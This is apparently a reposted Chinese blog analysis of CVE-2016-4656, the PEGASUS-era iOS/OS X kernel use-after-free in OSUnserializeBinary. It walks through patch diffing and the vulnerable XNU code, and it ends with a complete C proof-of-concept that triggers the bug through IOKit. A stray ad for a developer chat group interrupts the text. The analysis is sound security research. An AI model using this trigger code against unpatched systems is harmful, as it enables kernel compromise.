背景
2016年8月25日,苹果公司发布了针对PEGASUS监控工具包的iOS 9.3.5安全更新。不同于先前出现的iOS恶意软件,这个工具包使用了三种不同的iOS 0day漏洞来攻击(直到iOS 9.3.5发布)iOS设备。不幸的是,这些漏洞的公共信息相当模糊,因为Citizenlab、Lookout (Apple信任的安全公司)和 Apple公司决定不让公众知道这些漏洞的详细情况。直到现在他们也没有公布恶意软件的样本,如此一来,第三方安全研究员就基本不可能对这一恶意软件进行分析。
公众始终不知道该漏洞是否已经被修复,地下黑市上出现的漏洞利用是否仍然有效,所以我们决定自己研究苹果最近发布的安全补丁,以弄清楚PEGASUS所利用的三个漏洞。今天只分析CVE-2016-4656报告中的内核漏洞。
Patch Analysis
分析iOS安全补丁并不像想象中的那么容易,iOS9内核以加密的形式存储在设备中(并且是固件文件)。因此为了获得一份解密后的内核,要么需要一个低水平、能够解密内核的漏洞利用工具,要么需要一个能够从内存中下载内核iOS问题的越狱工具。我们决定使用自己的越狱工具把iOS 9.3.4和iOS 9.3.5的内核从实验室的一台iOS测试设备中下载下来。我们采用MathewSolnik在一篇博客中描述的方法,即通过内核漏洞利用工具把完全解密的内核从物理内存中下载出来。
获得内核后必须分析它们的差异,我们使用了IDA上的开源二进制比较插件Diaphora来完成这项任务。为了进行比较,我们将iOS 9.3.4内核加载到IDA中等待自动分析完成,然后使用Diaphora把当前的IDA数据库转化成SQLITE数据库格式。接下对iOS 9.3.5的对比,重复上述过程,并使用Diaphora比较两个数据库的不同。比较结果如下图所示。
Diaphora显示出iOS 9.3.5改动了几个函数,大部分是修改了跳转地址。从改动函数的列表中可以很明显的看出,最有意思的函数是OSUnserializeXML。由于函数变化很大(因为重新排序),要分析出iOS 9.3.4 和 iOS 9.3.5之间的差异很困难。进一步的分析表明该函数实际上内联了其它函数,借助XNU更容易找出漏洞。OS X10.11.6 XNU内核可以在opensource.apple.com找到。
OSObject*
OSUnserializeXML(const char *buffer,size_t bufferSize, OSString **errorString)
{
if (!buffer) return (0);
if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);
if (!strcmp(kOSSerializeBinarySignature, buffer)) returnOSUnserializeBinary(buffer, bufferSize, errorString);
// XML must be null terminated
if (buffer[bufferSize - 1]) return 0;
return OSUnserializeXML(buffer, errorString);
}
OSUnserializeBinary
OSUnserializeBinary是新加入到OSUnserializeXML中用来处理序列化二进制漏洞的代码,这意味着,攻击者通过简单地调用任何IOKitAPI (或者mach API)函数就能进行攻击。而这些函数又可以接受序列化参数,例如简单的IOKit匹配功能,这同时也意味着该漏洞可以通过iOS 或 OSX上的沙盒触发。
这一新功能的源代码位于libkern / C++ /OSSerializeBinary.cpp文件中,因此我们可以直接对其进行审核而不用分析苹果补丁。序列化的二进制形式不是很复杂,它以32位标识符作为头部,接下来是32位的对齐标记和数据对象。
支持以下数据类型:
•Dictionary
•Array
•Set
•Number
•Symbol
•String
•Data
•Boolean
•Object (参考先前反序列化对象)
二进制格式需要编码32位块数据类型中的24-30位。低于的24位被保留为数值数据,例如存储长度或集合元素计数器。31位用来标记集合中的最后一个元素,其它的所有数据(strings,symbols, binary data, numbers)则添加4字节对齐数据流。
作为一个开发者,有一个学习的氛围跟一个交流圈子特别重要,这有个iOS交流群:642363427,不管你是小白还是大牛欢迎入驻 ,分享BAT,阿里面试题、面试经验,讨论技术!
Vulnerability
发现漏洞很容易,因为它看起来和PHP函数unserialize()中的USE-AFTER-FREE漏洞非常相似,而这个漏洞之前已经被SektionEins公布在PHP.net网站上。OSUnserialize()中的漏洞也有着一样的原因,反序列化器可以产生对先前释放对象的引用,每当对象被反序列化时就会被添加到一个对象表中,这段代码看起来像下面这样:
if (!isRef)
{
setAtIndex(objs, objsIdx, o);
if (!ok) break;
objsIdx++;
}
这很不安全。另外,由于setAtIndex()宏不增加对象的引用计数,PHP也会犯相同的错误,即如下所示:
define setAtIndex(v, idx, o)
if (idx >= v##Capacity)
{
uint32_t ncap = v##Capacity +64;
typeof(v##Array) nbuf =(typeof(v##Array)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
if (v##Array)
{
bcopy(v##Array, nbuf,v##Capacity * sizeof(o));
kfree(v##Array,v##Capacity * sizeof(o));
}
v##Array = nbuf;
v##Capacity = ncap;
}
if (ok) v##Array[idx] = o; <---- remember object WITHOUT COUNTINGTHE REFERENCE
当反序列化过程中没有合适的方法去释放一个对象时,追踪v##Array变量内的引用便会存在问题。正如你从下面的代码中看到的,字典元素的处理支持OSSymbol和OSString键,然而OSString键会随着OSString对象的销毁而转化成为OSSymbol。不幸的是,在销毁的同时OSString对象已经被添加进对象表中。
if (dict)
{
if (sym)
{
DEBG("%s = %sn",sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if (o != dict) ok =dict->setObject(sym, o, true);
o->release();
sym->release();
sym = 0;
}
else
{
sym = OSDynamicCast(OSSymbol,o);
if (!sym && (str =OSDynamicCast(OSString, o)))
{
sym = (OSSymbol *)OSSymbol::withString(str);
o->release(); <---- destruction of OSString object thatis already in objs table
o = 0;
}
ok = (sym != 0);
}
}
因为上述问题,利用kOSSerializeObject数据类型产生一个指向早已销毁的OSString对象引用将变得非常简单。这就是一个经典的USE-AFTER-FREE漏洞。
POC
弄清楚问题之后,我们可以写一个简单的POC来触发这个漏洞,即如下所示。你可以在OS X中进行测试。
/*
*Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser /SektionEins GmbH
*compile on OS X like:
* gcc-arch i386 -framework IOKit -o ex exploit.c
*/
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
enum
{
kOSSerializeDictionary =0x01000000U,
kOSSerializeArray =0x02000000U,
kOSSerializeSet =0x03000000U,
kOSSerializeNumber =0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString =0x09000000U,
kOSSerializeData =0x0a000000U,
kOSSerializeBoolean =0x0b000000U,
kOSSerializeObject =0x0c000000U,
kOSSerializeTypeMask =0x7F000000U,
kOSSerializeDataMask =0x00FFFFFFU,
kOSSerializeEndCollecton = 0x80000000U,
};
#define kOSSerializeBinarySignature"323"
int main()
{
char * data = malloc(1024);
uint32_t * ptr = (uint32_t *) data;
uint32_t bufpos = 0;
mach_port_t master = 0, res;
kern_return_t kr;
/* create header */
memcpy(data, kOSSerializeBinarySignature,sizeof(kOSSerializeBinarySignature));
bufpos += sizeof(kOSSerializeBinarySignature);
/* create a dictionary with 2 elements */
*(uint32_t *)(data+bufpos) = kOSSerializeDictionary |kOSSerializeEndCollecton | 2; bufpos += 4;
/* our key is a OSString object */
*(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
/* our data is a simple boolean */
*(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
/* now create a reference to object 1 which is the OSString object thatwas just freed */
*(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
/* get a master port for IOKit API */
host_get_io_master(mach_host_self(), &master);
/* trigger the bug */
kr = io_service_get_matching_services_bin(master, data, bufpos,&res);
printf("kr: 0x%xn", kr);
}
Exploitation
本文中,我们只对该漏洞进行了深度分析,至于漏洞利用程序将会在明天的PEGASUS iOS内核漏洞分析(二)详细列出。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。